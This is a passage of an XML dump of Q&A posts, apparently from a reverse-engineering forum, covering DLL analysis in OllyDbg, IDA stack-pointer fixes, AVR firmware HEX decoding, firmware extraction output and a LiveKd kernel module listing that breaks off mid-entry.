  <row Id="9466" PostTypeId="1" AcceptedAnswerId="9467" CreationDate="2015-07-27T13:16:17.067" Score="0" ViewCount="281" Body="&lt;p&gt;Consider I have got a DLL file which contains some functions and classes that I am not aware of. It might be lack of documentation, or the unwillingness of the programmer to provide the documentation after the release. I want to know, how can I study an unknown DLL file and utilize it in my projects? ( Of course the programmer gives such permission )&lt;/p&gt;&#xA;" OwnerUserId="11621" LastActivityDate="2015-07-27T13:42:45.763" Title="Use the functionality available in the unknown DLL" Tags="|ida|disassembly|ollydbg|reassembly|" AnswerCount="1" CommentCount="0" ClosedDate="2015-07-30T10:39:57.157" ContentLicense="CC BY-SA 3.0" />
  <row Id="9467" PostTypeId="2" ParentId="9466" CreationDate="2015-07-27T13:42:45.763" Score="4" Body="&lt;p&gt;&lt;em&gt;I can't post comments for now, since I'm new on this forum&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure I fully understand your level of understanding here. Do you know some basic stuff in reversing field ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, you should load your DLL in OllyDbg (for example) then click on &lt;strong&gt;Debug&lt;/strong&gt; &gt; &lt;strong&gt;Call DLL export&lt;/strong&gt; to locate the API you're interested in. &#xA;Then it's classic reversing session. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, if you need more specifics, I strongly recommend you to buy &quot;Secrets of reverse engineering - Eldad Eilam&quot; book, in which there is a fully detailed example of a DLL reverse session.&lt;/p&gt;&#xA;" OwnerUserId="13108" LastActivityDate="2015-07-27T13:42:45.763" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9468" PostTypeId="2" ParentId="9439" CreationDate="2015-07-27T14:06:35.243" Score="0" Body="&lt;p&gt;emulating the sequence with powershell&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cat scasb.ps1&#xA;$edx=$edi=$args[0];  $eax=0; $ecx=-1;&#xA;while($edi[$ecx--]){}; $ecx+=2;  $ecx=-$ecx;&#xA;&quot;length of string using .net method &quot;+$edi.length;&#xA;&quot;length of string using repne scasb &quot;+$ecx;&#xA;$edi=$edx.tochararray()&#xA;while($ecx){$edi[--$ecx]=$args[1]};  $ofs=&quot;&quot;; $edx;[string]$edi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;result&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;powershell -f scasb.ps1 &quot;abracadabra gili gili choo&quot; r&#xA;length of string using .net method 26&#xA;length of string using repne scasb 26&#xA;abracadabra gili gili choo&#xA;rrrrrrrrrrrrrrrrrrrrrrrrrr&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2015-07-27T14:06:35.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9471" PostTypeId="2" ParentId="9350" CreationDate="2015-07-27T21:27:47.370" Score="0" Body="&lt;p&gt;Alright, this is &lt;em&gt;somewhat&lt;/em&gt; fixed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not the same error I had, but &lt;a href=&quot;https://stackoverflow.com/questions/12873197/ollydbg-single-step-event-at-ntdll-press-shiftf8-to-pass-execution&quot;&gt;this plugin&lt;/a&gt; fixed it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: By &quot;somewhat,&quot; I mean that some things definitely look weird / can't be used, but at least debugging works.&lt;/p&gt;&#xA;" OwnerUserId="13012" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2015-07-27T21:27:47.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9472" PostTypeId="2" ParentId="9229" CreationDate="2015-07-28T03:37:08.850" Score="4" Body="&lt;p&gt;All the LZMA entries appear to be valid, and decompress to tar archives (-1 is a valid file size, and is used when the compressor doesn't know the size of the original data, such as when the data is passed via stdin).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although the tar file name is the same for most of them (&quot;tmp_file&quot;), the un-tar'd data is different; there appears to be a UBIFS file system in there, as well as plenty of plain text shell scripts and the like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Scan Time:     2015-07-27 23:33:31&#xA;Target File:   /home/eve/Downloads/_FE54869ACAD07.extracted/_6397C3.extracted/tmp_file&#xA;MD5 Checksum:  63a711b8ee1cdbb886d572dd610f7a2d&#xA;Signatures:    332&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;40361         0x9DA9          Executable script, shebang: &quot;/bin/sh&quot;&#xA;90177         0x16041         Executable script, shebang: &quot;/bin/sh&quot;&#xA;113593        0x1BBB9         Executable script, shebang: &quot;/bin/sh&quot;&#xA;197217        0x30261         Executable script, shebang: &quot;/bin/sh&quot;&#xA;203169        0x319A1         Unix path: /opt/tools/broadlight/sysroot)I&#xA;297561        0x48A59         Executable script, shebang: &quot;/bin/sh&quot;&#xA;376433        0x5BE71         Executable script, shebang: &quot;/bin/sh&quot;&#xA;388553        0x5EDC9         Executable script, shebang: &quot;/bin/sh&quot;&#xA;396018        0x60AF2         Unix path: /../sysroot/usr/include&#xA;415009        0x65521         Executable script, shebang: &quot;/bin/sh&quot;&#xA;415617        0x65781         Executable script, shebang: &quot;/bin/sh&quot;&#xA;431897        0x69719         Executable script, shebang: &quot;/bin/sh&quot;&#xA;436698        0x6A9DA         HTML document header&#xA;504153        0x7B159         Executable script, shebang: &quot;/bin/sh&quot;&#xA;629257        0x99A09         Executable script, shebang: &quot;/bin/sh&quot;&#xA;629673        0x99BA9         Executable script, shebang: &quot;/bin/sh&quot;&#xA;630169        0x99D99         Executable script, shebang: &quot;/bin/sh&quot;&#xA;630889        0x9A069         Executable script, shebang: &quot;/bin/sh&quot;&#xA;678623        0xA5ADF         Unix path: /x86-linux2/../sysroot/usr/include&#xA;&#xA;&#xA;Scan Time:     2015-07-27 23:33:31&#xA;Target File:   /home/eve/Downloads/_FE54869ACAD07.extracted/_862249.extracted/tmp_file&#xA;MD5 Checksum:  099fbe96cd12990a19fe55e2dc4b651c&#xA;Signatures:    332&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;0             0x0             UBIFS superblock node, CRC: 0xD1C96755, flags: 0x0, min I/O unit size: 2048, erase block size: 129024, erase block count: 157, max erase blocks: 288, format version: 4, compression type: lzo&#xA;129024        0x1F800         UBIFS master node, CRC: 0xCB83706A, highest inode: 1330, commit number: 0&#xA;258048        0x3F000         UBIFS master node, CRC: 0xC7B38577, highest inode: 1330, commit number: 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't know of any good tools to work with UBIFS though, maybe someone else here has some suggestions?&lt;/p&gt;&#xA;" OwnerUserId="1408" LastActivityDate="2015-07-28T03:37:08.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9473" PostTypeId="1" AcceptedAnswerId="9474" CreationDate="2015-07-28T06:23:59.030" Score="0" ViewCount="2735" Body="&lt;p&gt;I need assistance in ida pro regarding sp analysis failure.&#xA;The link to the dissembled function is here:&#xA;&lt;a href=&quot;http://pastebin.com/XRwzswgS&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/XRwzswgS&lt;/a&gt;&#xA;The program has a lot of these errors which hinders hexrays decompilation.&#xA;The analysis failure is shown in line 333 in pastebin. I have included the SP pointer values from ida&lt;/p&gt;&#xA;" OwnerUserId="12628" LastActivityDate="2015-07-28T13:57:03.460" Title="SP analysis failed in gfortran compiled application" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9474" PostTypeId="2" ParentId="9473" CreationDate="2015-07-28T06:45:12.780" Score="3" Body="&lt;p&gt;In a line 34 you have a following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:0046FC96 010                 mov     eax, 3AFCh&#xA;.text:0046FC9B 010                 call    __alloca&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code allocates &lt;code&gt;0x3afc&lt;/code&gt; bytes on stack and this allocation is not reflected in IDA stack analysis (if the assumption that &lt;code&gt;_alloca&lt;/code&gt; function detected and defined correctly is correct, see &lt;a href=&quot;http://man7.org/linux/man-pages/man3/alloca.3.html&quot; rel=&quot;nofollow&quot;&gt;linux alloca man page&lt;/a&gt; and &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/wb1s57t5.aspx&quot; rel=&quot;nofollow&quot;&gt;MSDN alloca documentation&lt;/a&gt; for more details about this function).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this you should go to &lt;code&gt;call _alloca&lt;/code&gt; instruction, press &lt;kbd&gt;ALt&lt;/kbd&gt;-&lt;kbd&gt;K&lt;/kbd&gt; and insert the needed value (probably &lt;code&gt;-0x3afc&lt;/code&gt; in your specific case, but I'm not sure).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will hint IDA that there is a stack pointer change here.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="53" LastEditDate="2015-07-28T13:57:03.460" LastActivityDate="2015-07-28T13:57:03.460" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9476" PostTypeId="1" CreationDate="2015-07-28T11:47:11.073" Score="3" ViewCount="812" Body="&lt;p&gt;I have a HEX file with a firmware for Attiny45. What I want to do is to extract some kind of formula that is coded inside it. I have done some research (mostly to find out that &quot;it is not possible&quot;, etc, etc) but I decided I could give it a try since other parts of my research showed me that most of the people that ask this type of question barely knows what a HEX file is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The objective of this post is not to came up with a brightly C code from the HEX file but rather build solid knowledge about the subject. I'm aware that the compiler, doing its job, can make my own job harder but there is some kind of structure (maybe primitive) that needs to be followed for the CPU to be able to execute the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I sat on my desk and coded a little Python tool to help me in the process. It loads the HEX file, and I interactively can add information to it. Here is what I've got so far:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first line of the HEX file, says:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;: 02 0000 04 0000 FA&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which was decoded by the tool to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:       --&amp;gt; MARK&#xA;02      --&amp;gt; RECORD LENGTH&#xA;0000    --&amp;gt; LOAD OFFSET&#xA;04      --&amp;gt; RECORD TYPE (EXTENDED LINEAR ADDRESS RECORD)&#xA;0000    --&amp;gt; DATA&#xA;FA      --&amp;gt; CHECKSUM&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Seems that this line serves the propose of telling that the initial address on which code should be put is &lt;code&gt;0x0000&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, the next line says:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;: 20 0000 00 34C0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF50C07EEE7EB9 51&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The tool decoded it to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:    --&amp;gt; MARK&#xA;20   --&amp;gt; LENGHT OF THE RECORD&#xA;0000 --&amp;gt; OFFSET&#xA;00   --&amp;gt; RECORD TYPE (00 -&amp;gt; DATA RECORD) 34C0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF50C07EEE7EB9 (ACTUAL DATA)&#xA;51   --&amp;gt; CHECKSUM&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is where the fun and the questions starts.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I could not find anywhere the memory map of the ATTiny45. I thought it should be somewhere in the data sheet or the instruction set manual. From what I could figure out, at &lt;code&gt;0x0000&lt;/code&gt; lives the interrupt vector (page 49, data sheet) and the first one is the reset vector. So, AVR being little endian and instructions being 16bits-wide, I can decode that the reset vector contains the value &lt;code&gt;0xC034&lt;/code&gt;. Using the instruction set, I figure out that &lt;code&gt;0xC034&lt;/code&gt; is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rjump 0x034&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this correct?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Continuing with this line of thinking, the same line pointed before shows that some of the interrupt vectors have values &lt;code&gt;0xFFFF&lt;/code&gt;, which causes me surprise but does not seem to be a problem since probably these will be disabled. The only other vector that have a working value is &lt;code&gt;USI_OVF_ISR&lt;/code&gt;, which is equal to &lt;code&gt;0xC050&lt;/code&gt;. So, according to the ideas presented before, this says that &lt;code&gt;USI_OVF_ISR&lt;/code&gt; has the instruction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rjump 0x050&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this also correct?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If the reset vector points to &lt;code&gt;0x034&lt;/code&gt;, this says that the program will begin running at &lt;code&gt;0x034&lt;/code&gt;. The next line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;: 20 0020 00 7FE77FB9B89A089570EE7EB95FB9B89A08957EEE7EB9B898089570EE7EB9B898 22&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Shows that &lt;code&gt;0x034&lt;/code&gt; is &lt;code&gt;0xB898&lt;/code&gt; and that is the first instruction that will be executed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this correct?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="13122" LastEditorUserId="53" LastEditDate="2015-07-28T12:46:52.980" LastActivityDate="2015-07-28T22:54:59.790" Title="Reverse Engineering Firmware" Tags="|firmware|hex|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9477" PostTypeId="1" AcceptedAnswerId="9480" CreationDate="2015-07-28T12:44:37.610" Score="5" ViewCount="607" Body="&lt;p&gt;In Microsoft Windows, a 32bits process &lt;code&gt;calc.exe&lt;/code&gt; has &lt;code&gt;0x0&lt;/code&gt;-&lt;code&gt;0x80000000&lt;/code&gt; (2GB) reserved as its user-space and the rest is kernel-space (2GB). So, a process has &lt;code&gt;2+2 = 4GB&lt;/code&gt; of virtual space. This ratio could be 3:1 also.&lt;/p&gt;&#xA;&lt;p&gt;The 2GB user space has the PEB information,the heap,the stack, the executable and other dll's which the the exe uses like kernel32.dll, user32.dll, etc.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Doubt 1&amp;gt;&lt;/strong&gt; What does the 2GB kernel space encompasses in itself ?&lt;/p&gt;&#xA;&lt;p&gt;Is there a tool to see kernel-space mapping (for the user-space mapping  I used OllyDbg).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Doubt 2&amp;gt;&lt;/strong&gt; What happens when &lt;code&gt;ntoskrnl.exe&lt;/code&gt; runs ? It doesn't use the native API (but exports implementation of these native APIs to user-space via &lt;code&gt;ntdll.dll&lt;/code&gt;. So, that native application could use it before win32 kicks in). Therefore, there should be no dlls in the virtual space of &lt;code&gt;ntoskrnl.exe&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Is &lt;code&gt;ntoskrnl.exe&lt;/code&gt; located in kernel-space ?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="11879" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2015-09-17T23:10:11.943" Title="Is there a tool to see kernel space mapping of a Windows exe?" Tags="|windows|ollydbg|windbg|winapi|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9479" PostTypeId="2" ParentId="9476" CreationDate="2015-07-28T15:27:12.517" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Seems to be almost correct, since the &lt;a href=&quot;http://www.atmel.com/Images/Atmel-2586-AVR-8-bit-Microcontroller-ATtiny25-ATtiny45-ATtiny85_Datasheet.pdf&quot; rel=&quot;nofollow&quot;&gt;data sheet&lt;/a&gt; says in chapter 8.1, Resetting the AVR:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The instruction placed at the Reset Vector must be a RJMP – Relative&#xA;  Jump – instruction to the reset handling routine&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However, page 202 - instruction set summary - explains &lt;code&gt;RJMP&lt;/code&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RJMP    k    Relative Jump PC   PC + k  + 1        &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which would imply that &lt;code&gt;RJMP&lt;/code&gt; at address &lt;code&gt;PC=0&lt;/code&gt; with a &lt;code&gt;k=0x34&lt;/code&gt; jumps to address &lt;code&gt;0x35&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, the data sheet doesn't seem to have an opcode table to confirtm that &lt;code&gt;C0&lt;/code&gt; is indeed a &lt;code&gt;RJMP&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, Chapter 5.1 says&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The ATtiny25/45/85 contains &#xA;  2/4/8K bytes On-chip In-System Reprogrammable Flash memory for program storage. Since all AVR instructions are 16 or 32 bits &#xA;  wide, the Flash is organized as 1024/2048/4096 x 16.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and Chapter 9 shows a table (page 48) that has examples of &lt;code&gt;RJMP&lt;/code&gt; instructions which, though they need 2 bytes, are packed into one address each. Starting at offset 0, and with 15 reset vectors that are 16 bits wide each, the program starts at address &lt;code&gt;0x0F&lt;/code&gt;. So the address space seems to be divided into 16-bit chunks per address, not 8-bit bytes, which would mean you have to double your addresses to get the appropriate byte index in your hex array.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Seems incorrect to me, since PC is &lt;code&gt;0D&lt;/code&gt; (at offset &lt;code&gt;1A&lt;/code&gt; in your hex bytes) and &lt;code&gt;r=50&lt;/code&gt;, so the &lt;code&gt;RJMP&lt;/code&gt; should jump to &lt;code&gt;0D+50+1&lt;/code&gt;=&lt;code&gt;5E&lt;/code&gt;, or offset &lt;code&gt;BC&lt;/code&gt; (&lt;code&gt;2*0x5E&lt;/code&gt;) in your hex bytes.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;According to my assumption that addresses denote 16-bit words, and adding the &lt;code&gt;+1&lt;/code&gt; from the opcode tab, you should probably look at &lt;code&gt;0x35*2=0x6A&lt;/code&gt; to find the first instruction to be executed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2015-07-28T22:54:59.790" LastActivityDate="2015-07-28T22:54:59.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9480" PostTypeId="2" ParentId="9477" CreationDate="2015-07-28T15:27:24.000" Score="3" Body="&lt;p&gt;&lt;em&gt;Please only ask one question per post. This answer is in response to your first of two questions.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there a tool to see kernel-space mapping&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, you can use &lt;a href=&quot;https://technet.microsoft.com/en-us/sysinternals/bb897415.aspx&quot; rel=&quot;nofollow&quot;&gt;LiveKd&lt;/a&gt; to examine the contents of kernel space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I can see the loaded modules and their addresses in kernel-space with the command &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/hardware/ff552026.aspx&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;lmvk&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; lmvk&#xA;start    end        module name&#xA;80bd5000 80bdd000   kdcom      (pdb symbols)          c:\symbols\kdcom.pdb\F48BD9BC030C43D89689518F892586901\kdcom.pdb&#xA;    Loaded symbol image file: kdcom.dll&#xA;    Image path: kdcom.dll&#xA;    Image name: kdcom.dll&#xA;    Timestamp:        Mon Jul 13 20:08:58 2009 (4A5BDAAA)&#xA;    CheckSum:         000138B1&#xA;    ImageSize:        00008000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;82816000 82c28000   nt         (pdb symbols)          c:\symbols\ntkrpamp.pdb\CE18EBF87B6A4C5CBF77806534BD94782\ntkrpamp.pdb&#xA;    Loaded symbol image file: ntkrpamp.exe&#xA;    Image path: ntkrpamp.exe&#xA;    Image name: ntkrpamp.exe&#xA;    Timestamp:        Sat Nov 19 05:51:44 2011 (4EC79850)&#xA;    CheckSum:         003CAC28&#xA;    ImageSize:        00412000&#xA;    File version:     6.1.7601.17727&#xA;    Product version:  6.1.7601.17727&#xA;    File flags:       0 (Mask 3F)&#xA;    File OS:          40004 NT Win32&#xA;    File type:        1.0 App&#xA;    File date:        00000000.00000000&#xA;    Translations:     0409.04b0&#xA;    CompanyName:      Microsoft Corporation&#xA;    ProductName:      Microsoft® Windows® Operating System&#xA;    InternalName:     ntkrpamp.exe&#xA;    OriginalFilename: ntkrpamp.exe&#xA;    ProductVersion:   6.1.7601.17727&#xA;    FileVersion:      6.1.7601.17727 (win7sp1_gdr.111118-2330)&#xA;    FileDescription:  NT Kernel &amp;amp; System&#xA;    LegalCopyright:   © Microsoft Corporation. All rights reserved.&#xA;82c28000 82c5f000   hal        (pdb symbols)          c:\symbols\halmacpi.pdb\AE605D6C59454802AE1D485E0B089A571\halmacpi.pdb&#xA;    Loaded symbol image file: halmacpi.dll&#xA;    Image path: halmacpi.dll&#xA;    Image name: halmacpi.dll&#xA;    Timestamp:        Sat Nov 20 02:37:38 2010 (4CE788D2)&#xA;    CheckSum:         00037FB1&#xA;    ImageSize:        00037000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;82e09000 82e14000   mcupdate_AuthenticAMD   (no symbols)           &#xA;    Loaded symbol image file: mcupdate_AuthenticAMD.dll&#xA;    Image path: \SystemRoot\system32\mcupdate_AuthenticAMD.dll&#xA;    Image name: mcupdate_AuthenticAMD.dll&#xA;    Timestamp:        Mon Jul 13 18:13:13 2009 (4A5BBF89)&#xA;    CheckSum:         0000BD79&#xA;    ImageSize:        0000B000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;82e14000 82e25000   PSHED      (pdb symbols)          c:\symbols\pshed.pdb\5ACEAFD8AD3A46FEAD083AFDF675DA391\pshed.pdb&#xA;    Loaded symbol image file: PSHED.dll&#xA;    Image path: \SystemRoot\system32\PSHED.dll&#xA;    Image name: PSHED.dll&#xA;    Timestamp:        Mon Jul 13 20:09:36 2009 (4A5BDAD0)&#xA;    CheckSum:         000108A2&#xA;    ImageSize:        00011000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;82e25000 82e2d000   BOOTVID    (pdb symbols)          c:\symbols\bootvid.pdb\10C3ABD4165D4ED3A9493BB094B44AEA1\bootvid.pdb&#xA;    Loaded symbol image file: BOOTVID.dll&#xA;    Image path: \SystemRoot\system32\BOOTVID.dll&#xA;    Image name: BOOTVID.dll&#xA;    Timestamp:        Mon Jul 13 20:04:34 2009 (4A5BD9A2)&#xA;    CheckSum:         00010FF0&#xA;    ImageSize:        00008000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;82e2d000 82e6f000   CLFS       (pdb symbols)          c:\symbols\clfs.pdb\04F22EAC7BD04A1BA81A6FB5D319649F1\clfs.pdb&#xA;    Loaded symbol image file: CLFS.SYS&#xA;    Image path: \SystemRoot\system32\CLFS.SYS&#xA;    Image name: CLFS.SYS&#xA;    Timestamp:        Mon Jul 13 18:11:10 2009 (4A5BBF0E)&#xA;    CheckSum:         000461C7&#xA;    ImageSize:        00042000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;82e6f000 82f1a000   CI         (pdb symbols)          c:\symbols\ci.pdb\3358E6E48A5245F6AB97EA05356E020F1\ci.pdb&#xA;    Loaded symbol image file: CI.dll&#xA;    Image path: \SystemRoot\system32\CI.dll&#xA;    Image name: CI.dll&#xA;    Timestamp:        Sat Nov 20 06:05:17 2010 (4CE7B97D)&#xA;    CheckSum:         000ADFF9&#xA;    ImageSize:        000AB000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;82f1a000 82f8b000   Wdf01000   (pdb symbols)          c:\symbols\Wdf01000.pdb\A9E46808F4F748178D3071AA9EE76FB71\Wdf01000.pdb&#xA;    Loaded symbol image file: Wdf01000.sys&#xA;    Image path: \SystemRoot\system32\drivers\Wdf01000.sys&#xA;    Image name: Wdf01000.sys&#xA;    Timestamp:        Mon Jul 13 18:11:36 2009 (4A5BBF28)&#xA;    CheckSum:         000717B7&#xA;    ImageSize:        00071000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;82f8b000 82f99000   WDFLDR     (pdb symbols)          c:\symbols\wdfldr.pdb\95D9DB57778548E6B6774520468479891\wdfldr.pdb&#xA;    Loaded symbol image file: WDFLDR.SYS&#xA;    Image path: \SystemRoot\system32\drivers\WDFLDR.SYS&#xA;    Image name: WDFLDR.SYS&#xA;    Timestamp:        Mon Jul 13 18:11:25 2009 (4A5BBF1D)&#xA;    CheckSum:         00009DF6&#xA;    ImageSize:        0000E000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;82f99000 82fe1000   ACPI       (pdb symbols)          c:\symbols\acpi.pdb\E7300A0CC3524834A4E1E55773C1901E1\acpi.pdb&#xA;    Loaded symbol image file: ACPI.sys&#xA;    Image path: \SystemRoot\system32\drivers\ACPI.sys&#xA;    Image name: ACPI.sys&#xA;    Timestamp:        Sat Nov 20 02:37:52 2010 (4CE788E0)&#xA;    CheckSum:         0004F583&#xA;    ImageSize:        00048000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;82fe1000 82fea000   WMILIB     (pdb symbols)          c:\symbols\wmilib.pdb\F52B38A4800849D48BFFD48715A446A51\wmilib.pdb&#xA;    Loaded symbol image file: WMILIB.SYS&#xA;    Image path: \SystemRoot\system32\drivers\WMILIB.SYS&#xA;    Image name: WMILIB.SYS&#xA;    Timestamp:        Mon Jul 13 18:11:22 2009 (4A5BBF1A)&#xA;    CheckSum:         0000B93D&#xA;    ImageSize:        00009000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;82fea000 82ff2000   msisadrv   (pdb symbols)          c:\symbols\msisadrv.pdb\5D6926DA4AD1474BAE8CBDA5909F68201\msisadrv.pdb&#xA;    Loaded symbol image file: msisadrv.sys&#xA;    Image path: \SystemRoot\system32\drivers\msisadrv.sys&#xA;    Image name: msisadrv.sys&#xA;    Timestamp:        Mon Jul 13 18:11:09 2009 (4A5BBF0D)&#xA;    CheckSum:         0000CD81&#xA;    ImageSize:        00008000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;87800000 87811000   fileinfo   (pdb symbols)          c:\symbols\fileinfo.pdb\EBD1E885413A4242AA515F1B06BB564F1\fileinfo.pdb&#xA;    Loaded symbol image file: fileinfo.sys&#xA;    Image path: \SystemRoot\system32\drivers\fileinfo.sys&#xA;    Image name: fileinfo.sys&#xA;    Timestamp:        Mon Jul 13 18:21:51 2009 (4A5BC18F)&#xA;    CheckSum:         0001E423&#xA;    ImageSize:        00011000&#xA;    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4&#xA;8781a000 87844000   pci        (pdb symbols)          c:\symbols\pci.pdb\2E2A912260694615A7E97AFBA3FA934E1\pci.pdb&#xA;    Loaded symbol image file: pci.sys&#xA;    Image path: \SystemRoot\system32\drivers\pci.sys&#xA;    Image name: pci.sys&#xA;    Timestamp:        Sat Nov 20 02:37:57 2010 (4CE788E5)&#xA;    CheckSum:         0002B72C&#xA;    ImageSize:        0002A000&#xA;    File version:     6.1.7601.17514&#xA;    Product version:  6.1.7601.17514&#xA;    File flags:       0 (Mask 3F)&#xA;    File OS:          40004 NT Win32&#xA;    File type:        2.0 Dll&#xA;    File date:        00000000.00000000&#xA;    Translations:     0409.04b0&#xA;    CompanyName:      Microsoft Corporation&#xA;    ProductName:      Microsoft® Windows® Operating System&#xA;    InternalName:     pci.sys&#xA;    OriginalFilename: pci.sys&#xA;    ProductVersion:   6.1.7601.17514&#xA;    FileVersion:      6.1.7601.17514 (win7sp1_rtm.101119-1850)&#xA;    FileDescription:  NT Plug and Play PCI Enumerator&#xA;    LegalCopyright:   © Microsoft Corporation. All rights reserved.&#xA;87844000 